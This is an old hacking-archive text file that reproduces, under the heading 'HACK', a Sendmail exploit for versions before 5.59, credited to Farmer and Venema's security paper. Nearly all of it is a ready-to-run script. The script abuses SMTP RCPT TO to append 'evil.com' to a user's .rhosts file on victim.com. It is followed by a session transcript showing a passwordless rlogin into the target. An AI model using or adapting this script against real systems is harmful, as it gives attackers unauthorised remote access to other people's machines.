..:-={{Collaborative Security Information Center}}=-:.. X-TREME & TECHNOTRONIC Security Collaboration Project http://www.technotronic.com -=©=- http://www.x-treme.abyss.com ************************************************************************** HACK: Append to .rhosts files with Sendmail versions prior to 5.59 System: Unix Source: Dan Farmer and Wietse Venema Paper: Improving the Security of Your Site by Breaking Into it ************************************************************************** % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim %